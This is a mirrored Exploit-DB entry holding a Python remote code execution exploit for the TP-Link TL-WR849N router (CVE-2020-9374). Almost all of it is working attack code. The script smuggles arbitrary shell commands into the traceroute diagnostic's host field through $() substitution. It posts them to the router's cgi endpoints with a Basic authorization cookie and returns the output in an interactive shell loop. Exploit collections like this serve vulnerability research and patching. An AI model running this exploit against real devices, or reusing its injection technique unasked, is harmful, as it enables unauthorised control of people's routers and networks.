TP LINK TL-WR849N – Remote Code Execution - 体验盒子

作者： Elber Tavares

日期： 2020-03-02

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/48155/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

# Exploit Title: TP LINK TL-WR849N - Remote Code Execution

# Date: 2019-11-20

# Exploit Author: Elber Tavares

# Vendor Homepage: https://www.tp-link.com/

# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware

# Version: TL-WR849N 0.9.1 4.16

# Tested on: linux, windows

# CVE : CVE-2020-9374

import requests

def output(headers,cookies):

url = 'http://192.168.0.1/cgi?1'

data = ''

data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'

data += 'diagnosticsState\x0d\x0a'

data += 'X_TP_HopSeq\x0d\x0a'

data += 'X_TP_Result\x0d\x0a'

r = requests.post(url,data=data,headers=headers,cookies=cookies)

saida = r.text

filtro = saida.replace(': Name or service not known','')

filtro = filtro.replace('[0,0,0,0,0,0]0','')

filtro = filtro.replace('diagnosticsState=','')

filtro = filtro.replace('X_TP_HopSeq=0','')

filtro = filtro.replace('X_TP_Result=','')

print(filtro[:-8])

def aceppt(headers,cookies):

url = 'http://192.168.0.1/cgi?7'

data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'

r = requests.post(url,data=data,headers=headers,cookies=cookies)

output(headers,cookies)

def inject(command,headers,cookies):

url = 'http://192.168.0.1/cgi?2'

data = ''

data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'

data += 'maxHopCount=20\x0d\x0a'

data += 'timeout=5\x0d\x0a'

data += 'numberOfTries=1\x0d\x0a'

data += 'host=\"$('+command+')\"\x0d\x0a'

data += 'dataBlockSize=64\x0d\x0a'

data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a'

data += 'diagnosticsState=Requested\x0d\x0a'

data += 'X_TP_HopSeq=0\x0d\x0a'

r = requests.post(url,data=data,headers=headers,cookies=cookies)

aceppt(headers,cookies)

def main():

cookies = {"Authorization": "Basic REPLACEBASE64AUTH"}

headers = {'Content-Type': 'text/plain',

'Referer': 'http://192.168.0.1/mainFrame.htm'}

while True:

command = input('$ ')

inject(command,headers,cookies)

main()